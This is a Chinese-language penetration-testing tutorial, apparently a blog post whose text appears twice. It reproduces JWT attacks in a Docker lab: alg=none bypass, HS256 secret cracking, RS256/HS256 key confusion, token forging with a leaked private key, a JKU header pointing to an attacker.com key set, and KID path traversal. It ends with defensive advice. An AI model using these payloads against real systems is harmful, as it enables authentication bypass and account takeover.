JWT 安全实战5 种攻击手法复现与 BurpSuite 插件自动化利用JSON Web TokenJWT作为现代Web应用广泛采用的身份验证机制其安全性直接影响整个系统的防护等级。本文将深入剖析五种高危JWT攻击技术并演示如何通过BurpSuite插件实现自动化漏洞利用帮助安全工程师在渗透测试中高效识别风险。1. 靶场环境搭建与JWT基础识别在开始实战前我们需要配置包含五种漏洞场景的Docker靶场。以下为快速部署命令docker pull vulnlab/jwt-lab:latest docker run -d -p 8080:80 --name jwt-lab vulnlab/jwt-lab流量特征识别技巧典型的三段式结构由.分隔Header和Payload部分通常以eyJ开头Base64编码后的{常见传输位置Authorization头部的Bearer令牌Cookie中的auth或token字段POST请求体的access_token参数提示安装BurpSuite插件JSON Web Tokens后流量中JWT会自动高亮显示并支持实时解码。2. 空加密算法攻击algnone当服务器未严格校验签名算法时将alg字段改为none可绕过验证。以下是完整攻击流程捕获含JWT的请求包解码后得到类似结构{ alg: HS256, typ: JWT }修改Header为{ alg: none, typ: JWT }删除Signature部分保留结尾的.最终格式[新Header].[原Payload].BurpSuite自动化操作右键请求 → Extensions → JWT Editor → Attacks → None Algorithm插件会自动完成算法替换和签名删除3. 密钥爆破攻击HS256弱密钥对称加密算法HS256依赖密钥强度。使用常见弱密钥字典进行爆破# 使用jwt_tool进行爆破示例 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d /usr/share/wordlists/rockyou.txt高效爆破技巧优先尝试CTF常见密钥secret、123456、password结合网站信息推测密钥如域名、公司名等使用hashcat加速hashcat -m 16500 -a 0 jwt.txt rockyou.txtBurpSuite集成方案安装JWT4B插件配置字典路径后右键选择Brute Force Secret成功爆破后会自动生成有效令牌4. 密钥混淆攻击RS256→HS256当服务器使用RS256但未限制算法类型时可强制使用HS256并利用公钥伪造签名步骤操作工具命令1获取公钥从/jwks.json或页面源码提取2转换格式openssl rsa -pubin -in pub.key -text3修改算法将alg改为HS2564重新签名使用公钥作为HS256密钥BurpSuite一键操作将公钥导入JWT Editor Keys右键请求 → JWT Editor → Attacks → HS/RSA Key Confusion修改Payload后自动用公钥签名5. 私钥泄露利用RS256私钥获取当源码或配置泄露私钥时可直接签发任意令牌import jwt private_key open(private.pem).read() token jwt.encode({user:admin}, private_key, algorithmRS256)自动化检测方案使用Burp主动扫描检查.git泄露对JS/CSS文件进行关键词搜索如PRIVATE KEY尝试常见路径/v1/private.key /config/rsa_key /.env6. JKU/KID注入攻击利用头部参数注入恶意公钥JKU攻击流程托管包含恶意公钥的JWK Set{ keys: [{ kty: RSA, e: AQAB, kid: malicious, n: 恶意公钥内容... }] }修改JWT头部{ alg: RS256, typ: JWT, jku: http://attacker.com/malicious_jwks.json }KID目录遍历攻击{ alg: HS256, typ: JWT, kid: ../../../../dev/null }7. BurpSuite全流程自动化配置JWT攻击工作流探测阶段使用JSON Web Tokens插件自动识别JWTJWT4B进行基础漏洞扫描利用阶段graph TD A[发现JWT] -- B{算法检测} B --|HS256| C[密钥爆破] B --|RS256| D[检查公钥泄露] D -- E[尝试算法混淆] B --|none允许| F[空算法攻击]报告生成使用Logger记录所有测试过程Report in HTML生成详细漏洞报告8. 防御方案与最佳实践开发人员防护措施严格校验alg字段禁用none使用强密钥HS256至少32字节RS2048定期轮换密钥添加令牌黑名单机制安全检测清单[ ] 是否强制指定算法[ ] 签名是否有效验证[ ] 密钥是否足够复杂[ ] 敏感声明是否加密[ ]kid/jku是否受控通过本文介绍的技术组合安全团队可以系统性地检测JWT实现缺陷。建议在实际测试中优先使用自动化工具提高效率但对关键业务仍需辅以手动验证确保覆盖所有攻击面。
JWT 安全实战:5 种攻击手法复现与 BurpSuite 插件自动化利用
发布时间:2026/7/9 3:35:56
JWT 安全实战5 种攻击手法复现与 BurpSuite 插件自动化利用JSON Web TokenJWT作为现代Web应用广泛采用的身份验证机制其安全性直接影响整个系统的防护等级。本文将深入剖析五种高危JWT攻击技术并演示如何通过BurpSuite插件实现自动化漏洞利用帮助安全工程师在渗透测试中高效识别风险。1. 靶场环境搭建与JWT基础识别在开始实战前我们需要配置包含五种漏洞场景的Docker靶场。以下为快速部署命令docker pull vulnlab/jwt-lab:latest docker run -d -p 8080:80 --name jwt-lab vulnlab/jwt-lab流量特征识别技巧典型的三段式结构由.分隔Header和Payload部分通常以eyJ开头Base64编码后的{常见传输位置Authorization头部的Bearer令牌Cookie中的auth或token字段POST请求体的access_token参数提示安装BurpSuite插件JSON Web Tokens后流量中JWT会自动高亮显示并支持实时解码。2. 空加密算法攻击algnone当服务器未严格校验签名算法时将alg字段改为none可绕过验证。以下是完整攻击流程捕获含JWT的请求包解码后得到类似结构{ alg: HS256, typ: JWT }修改Header为{ alg: none, typ: JWT }删除Signature部分保留结尾的.最终格式[新Header].[原Payload].BurpSuite自动化操作右键请求 → Extensions → JWT Editor → Attacks → None Algorithm插件会自动完成算法替换和签名删除3. 密钥爆破攻击HS256弱密钥对称加密算法HS256依赖密钥强度。使用常见弱密钥字典进行爆破# 使用jwt_tool进行爆破示例 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d /usr/share/wordlists/rockyou.txt高效爆破技巧优先尝试CTF常见密钥secret、123456、password结合网站信息推测密钥如域名、公司名等使用hashcat加速hashcat -m 16500 -a 0 jwt.txt rockyou.txtBurpSuite集成方案安装JWT4B插件配置字典路径后右键选择Brute Force Secret成功爆破后会自动生成有效令牌4. 密钥混淆攻击RS256→HS256当服务器使用RS256但未限制算法类型时可强制使用HS256并利用公钥伪造签名步骤操作工具命令1获取公钥从/jwks.json或页面源码提取2转换格式openssl rsa -pubin -in pub.key -text3修改算法将alg改为HS2564重新签名使用公钥作为HS256密钥BurpSuite一键操作将公钥导入JWT Editor Keys右键请求 → JWT Editor → Attacks → HS/RSA Key Confusion修改Payload后自动用公钥签名5. 私钥泄露利用RS256私钥获取当源码或配置泄露私钥时可直接签发任意令牌import jwt private_key open(private.pem).read() token jwt.encode({user:admin}, private_key, algorithmRS256)自动化检测方案使用Burp主动扫描检查.git泄露对JS/CSS文件进行关键词搜索如PRIVATE KEY尝试常见路径/v1/private.key /config/rsa_key /.env6. JKU/KID注入攻击利用头部参数注入恶意公钥JKU攻击流程托管包含恶意公钥的JWK Set{ keys: [{ kty: RSA, e: AQAB, kid: malicious, n: 恶意公钥内容... }] }修改JWT头部{ alg: RS256, typ: JWT, jku: http://attacker.com/malicious_jwks.json }KID目录遍历攻击{ alg: HS256, typ: JWT, kid: ../../../../dev/null }7. BurpSuite全流程自动化配置JWT攻击工作流探测阶段使用JSON Web Tokens插件自动识别JWTJWT4B进行基础漏洞扫描利用阶段graph TD A[发现JWT] -- B{算法检测} B --|HS256| C[密钥爆破] B --|RS256| D[检查公钥泄露] D -- E[尝试算法混淆] B --|none允许| F[空算法攻击]报告生成使用Logger记录所有测试过程Report in HTML生成详细漏洞报告8. 防御方案与最佳实践开发人员防护措施严格校验alg字段禁用none使用强密钥HS256至少32字节RS2048定期轮换密钥添加令牌黑名单机制安全检测清单[ ] 是否强制指定算法[ ] 签名是否有效验证[ ] 密钥是否足够复杂[ ] 敏感声明是否加密[ ]kid/jku是否受控通过本文介绍的技术组合安全团队可以系统性地检测JWT实现缺陷。建议在实际测试中优先使用自动化工具提高效率但对关键业务仍需辅以手动验证确保覆盖所有攻击面。